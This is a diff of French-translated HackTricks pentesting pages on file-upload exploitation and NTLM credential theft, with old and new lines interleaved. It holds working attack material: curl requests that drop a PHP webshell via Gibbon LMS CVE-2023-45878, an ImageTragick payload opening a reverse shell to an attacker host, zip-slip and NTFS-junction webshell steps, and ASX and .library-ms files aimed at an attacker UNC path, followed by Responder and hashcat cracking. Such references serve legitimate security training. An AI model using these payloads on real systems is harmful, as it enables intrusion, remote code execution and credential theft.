Il est crucial de comprendre la nature laxiste de l'analyse des fichiers de configuration par uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le périmètre d'exploitation potentiel.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Un endpoint non authentifié dans Gibbon LMS permet un arbitrary file write dans la racine web, menant à un pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu'à et y compris 25.0.01.
|
||||
Un endpoint non authentifié dans Gibbon LMS permet arbitrary file write à l'intérieur du web root, conduisant à pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu'à et incluant 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (le serveur ignore le type/le nom, base64-décode la partie finale)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (le serveur ignore le type/nom, décode en base64 la partie finale)
|
||||
- `path`: nom de fichier de destination relatif au répertoire d'installation de Gibbon (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: toute valeur non vide est acceptée (e.g., `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
PoC minimal pour écrire et relire un fichier :
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
@ -185,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Déposer un webshell minimal et exécuter des commandes :
|
||||
Déposer un webshell minimal et exécuter des commandes:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
@ -195,16 +194,16 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Notes:
|
||||
- Le handler effectue `base64_decode($_POST["img"])` après avoir séparé la chaîne sur `;` et `,`, puis écrit les octets dans `$absolutePath . '/' . $_POST['path']` sans valider l'extension/le type.
|
||||
- Le code résultant s'exécute avec l'utilisateur du service web (par ex., XAMPP Apache sur Windows).
|
||||
Notes :
|
||||
- Le handler exécute `base64_decode($_POST["img"])` après avoir scindé par `;` et `,`, puis écrit les octets dans `$absolutePath . '/' . $_POST['path']` sans valider l'extension/le type.
|
||||
- Le code résultant s'exécute avec les privilèges de l'utilisateur du service web (par ex., XAMPP Apache sur Windows).
|
||||
|
||||
Les références pour ce bug incluent l'advisory usd HeroLab et l'entrée NVD. Voir la section References ci-dessous.
|
||||
Les références pour ce bug incluent l'advisory usd HeroLab et l'entrée NVD. Voir la section References ci‑dessous.
|
||||
|
||||
## **wget File Upload/SSRF Astuce**
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **linux** est **255**, cependant, **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier nommé "A"*232+".php"+".gif"**, ce nom de fichier va **contourner** la **vérification** (dans cet exemple **".gif"** est une extension **valide**) mais `wget` va **renommer** le fichier en **"A"*232+".php"**.
|
||||
Il arrive parfois qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous puissiez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **filename** sous **linux** est **255**, cependant, **wget** tronque les filenames à **236** caractères. Vous pouvez **download a file called "A"*232+".php"+".gif"**, ce nom de fichier contournera la **vérification** (dans cet exemple **".gif"** est une **extension valide**) mais `wget` va **renommer** le fichier en **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -227,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Notez que **une autre option** à laquelle vous pensez pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, de sorte que l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget soit utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom de fichier indiqué dans l'URL originale**.
|
||||
Notez que **une autre option** à laquelle vous pensez peut-être pour contourner cette vérification est de faire en sorte que le **HTTP server redirect to a different file**, de sorte que l'URL initiale contournera la vérification mais wget téléchargera ensuite le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
|
||||
### Échapper au upload directory via NTFS junctions (Windows)
|
||||
|
||||
(Pour cette attaque vous aurez besoin d'un accès local à la machine Windows) Lorsque les uploads sont stockés dans des sous-dossiers par utilisateur sur Windows (p. ex., C:\Windows\Tasks\Uploads\<id>\) et que vous contrôlez la création/suppression de ce sous-dossier, vous pouvez le remplacer par un directory junction pointant vers un emplacement sensible (p. ex., le webroot). Les uploads suivants seront écrits dans le chemin cible, permettant l'exécution de code si la cible interprète du server‑side code.
|
||||
|
||||
Exemple de déroulement pour rediriger les uploads vers le XAMPP webroot:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
Remarques
|
||||
- mklink /J creates an NTFS directory junction (reparse point). Le compte du serveur web doit suivre la jonction et avoir la permission d'écriture dans la destination.
|
||||
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
|
||||
- Défenses : ne pas autoriser que les répertoires racine de téléversement écrits soient contrôlables par un attaquant sous C:\Windows\Tasks ou similaire ; bloquer la création de junctions ; valider les extensions côté serveur ; stocker les téléversements sur un volume séparé ou appliquer des ACLs deny‑execute.
|
||||
|
||||
## Outils
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, assurant des évaluations approfondies des applications web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corruption des indices d'upload via les particularités de snprintf (historique)
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Certains legacy upload handlers qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload mono-fichier peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncature dans le comportement de `snprintf()`, un upload unique soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traitant comme un upload multi-fichiers et empruntant des branches non sûres). Bien que marginal aujourd'hui, ce pattern de « corruption d'indices » réapparaît parfois dans des CTFs et d'anciens codebases.
|
||||
Certains handlers legacy d'upload qui utilisent `snprintf()` ou équivalent pour construire des tableaux multi-fichiers à partir d'un téléversement single-file peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un téléversement soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traiter comme un multi-file upload et emprunter des branches non sûres). Bien que marginal aujourd'hui, ce motif de « index corruption » réapparaît parfois dans des CTFs et de vieux codebases.
|
||||
|
||||
## Du File upload vers d'autres vulnérabilités
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal**
|
||||
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez obtenir une **SQL injection**
|
||||
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un XSS
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester une command injection (more [command injections tricks here](../command-injection.md))
|
||||
- Définir **filename** sur `../../../tmp/lol.png` et essayer d'obtenir un **path traversal**
|
||||
- Définir **filename** sur `sleep(10)-- -.jpg` et vous pourriez réussir une **SQL injection**
|
||||
- Définir **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un XSS
|
||||
- Définir **filename** sur `; sleep 10;` pour tester une command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Essayez **différents svg payloads** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL** vous pouvez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **saved** sur un site **public**, vous pouvez aussi indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler les informations de chaque visiteur**.
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs spécialement conçus pour XSS : la [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez upload des PDFs, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications fournies.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content pour vérifier si le serveur dispose d'un **antivirus**
|
||||
- Vérifiez s'il existe une **limite de taille** lors de l'upload des fichiers
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Uploader le contenu de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur dispose d'un **antivirus**
|
||||
- Vérifier s'il existe une **limite de taille** lors du téléversement de fichiers
|
||||
|
||||
Voici un top 10 des choses que vous pouvez réaliser en uploadant (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -275,37 +299,37 @@ Voici un top 10 des choses que vous pouvez réaliser en uploadant (from [here](h
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Octets magiques d'en-tête
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consultez [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
Se référer à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
|
||||
## Upload de ZIP/Tar automatiquement décompressé
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Si vous pouvez uploader un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
Si vous pouvez uploader un ZIP qui va être décompressé côté serveur, vous pouvez faire deux choses :
|
||||
|
||||
### Symlink
|
||||
|
||||
Uploadez une archive contenant des soft links vers d'autres fichiers, puis, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :
|
||||
Uploader une archive contenant des symlinks vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderiez aux fichiers liés :
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Décompresser dans différents dossiers
|
||||
### Décompression dans différents dossiers
|
||||
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Bien que l'on puisse initialement supposer que cette configuration protège contre l'exécution de commandes au niveau OS (OS-level) via des uploads de fichiers malveillants, la prise en charge de la compression hiérarchique et les capacités de directory traversal du format d'archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale selon laquelle cette configuration pourrait protéger contre l'exécution de commandes au niveau OS via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversée de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
|
||||
Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
Un exploit automatisé pour créer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
De plus, l'option **symlink trick with evilarc** est possible. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
|
||||
De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
|
||||
|
||||
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
|
||||
```python
|
||||
@ -328,9 +352,9 @@ create_zip()
|
||||
```
|
||||
**Abuser la compression pour file spraying**
|
||||
|
||||
Pour plus de détails **consultez l'article original**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Pour plus de détails **consultez l'article original :** [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Création d'un PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Du code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -340,14 +364,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying et création d'une archive compressée**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
2. **File Spraying and Compressed File Creation**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés avec vi ou un éditeur hexadécimal, remplaçant "xxA" par "../" pour parcourir les répertoires.
|
||||
3. **Modification with a Hex Editor or vi**: Les noms des fichiers à l'intérieur du zip sont modifiés avec vi ou un Hex Editor, remplaçant "xxA" par "../" pour traverser les répertoires.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -357,38 +381,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (voir l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick, 7.0.1-1)** (d'après l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Intégration d'un shell PHP dans un PNG
|
||||
## Intégrer un PHP Shell dans un PNG
|
||||
|
||||
L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le shell PHP intégré reste intact après ces opérations constitue un avantage important dans certains cas d'utilisation.
|
||||
L'intégration d'un PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, puisqu'elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. La capacité du PHP shell intégré à rester inchangé par ces opérations constitue un avantage important pour certains cas d'utilisation.
|
||||
|
||||
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension approfondie du processus et de ses implications.
|
||||
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
|
||||
|
||||
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Fichiers polyglottes
|
||||
|
||||
Les fichiers polyglottes sont un outil unique en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intriguant est le [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
|
||||
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant exister simultanément et valablement dans plusieurs formats de fichiers. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
|
||||
|
||||
L'utilité principale des polyglottes réside dans leur capacité à contourner les contrôles qui filtrent les fichiers selon leur type. Dans de nombreuses applications, la pratique courante consiste à n'autoriser que certains types de fichiers en upload — comme JPEG, GIF ou DOC — pour réduire le risque lié à des formats potentiellement dangereux (par ex., JS, PHP ou Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les contrôles de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour les uploads — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou fichiers Phar). Cependant, un polyglotte, en répondant aux critères structurels de plusieurs types de fichiers, peut passer furtivement outre ces restrictions.
|
||||
|
||||
Malgré leur adaptabilité, les polyglottes présentent des limites. Par exemple, même si un polyglotte peut incarner à la fois un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des règles d'extension du système. Si la plateforme est stricte sur les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
|
||||
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, même si un polyglotte peut incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des politiques d'extensions de fichiers de la plateforme. Si le système est strict sur les extensions autorisées, la seule dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
|
||||
|
||||
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Télécharger des JSON valides en les faisant passer pour un PDF
|
||||
### Télécharger des JSON valides comme s'il s'agissait d'un PDF
|
||||
|
||||
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si non autorisé en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
|
||||
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, il est considéré comme valide (voir exemple dans l'article)
|
||||
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la library pense que c'est un pdf (voir exemple dans l'article)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu en tant que json et ensuite, à l'intérieur du JSON, placer la partie initiale d'un vrai PDF et il le considérera comme un PDF
|
||||
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
|
||||
- **`pdflib` library** : Insérer un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un PDF (voir exemple dans l'article)
|
||||
- **`file` binary** : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu en tant que json et ensuite, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il le considérera comme un PDF
|
||||
|
||||
## Références
|
||||
|
||||
@ -406,5 +430,7 @@ Comment éviter la détection du type de fichier en uploadant un fichier JSON va
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# Lieux pour voler des identifiants NTLM
|
||||
# Endroits pour voler NTLM creds
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Vérifiez toutes les excellentes idées de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) depuis le téléchargement d'un fichier microsoft word en ligne jusqu'à la source des fuites ntlm : https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md et [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
**Consultez toutes les excellentes idées de [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) depuis le téléchargement d'un fichier Microsoft Word en ligne jusqu'à la source ntlm leaks : https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md et [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Listes de lecture Windows Media Player (.ASX/.WAX)
|
||||
|
||||
Si vous pouvez amener une cible à ouvrir ou prévisualiser une liste de lecture Windows Media Player que vous contrôlez, vous pouvez leak Net‑NTLMv2 en pointant l'entrée vers un UNC path. WMP tentera de récupérer le média référencé via SMB et s'authentifiera implicitement.
|
||||
|
||||
Example payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
Flux de collecte et de cracking:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Windows Explorer gère de manière non sécurisée les fichiers .library-ms lorsqu'ils sont ouverts directement depuis une archive ZIP. Si la définition de la bibliothèque pointe vers un chemin UNC distant (par ex., \\attacker\share), le simple fait de parcourir/lancer le .library-ms à l'intérieur du ZIP fait qu'Explorer énumère le UNC et émet une authentification NTLM vers l'attaquant. Cela génère un NetNTLMv2 qui peut être cracked hors ligne ou potentiellement relayed.
|
||||
|
||||
Fichier .library-ms minimal pointant vers un UNC de l'attaquant
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
Étapes opérationnelles
|
||||
- Créez le fichier .library-ms avec le XML ci‑dessus (définissez votre IP/hostname).
|
||||
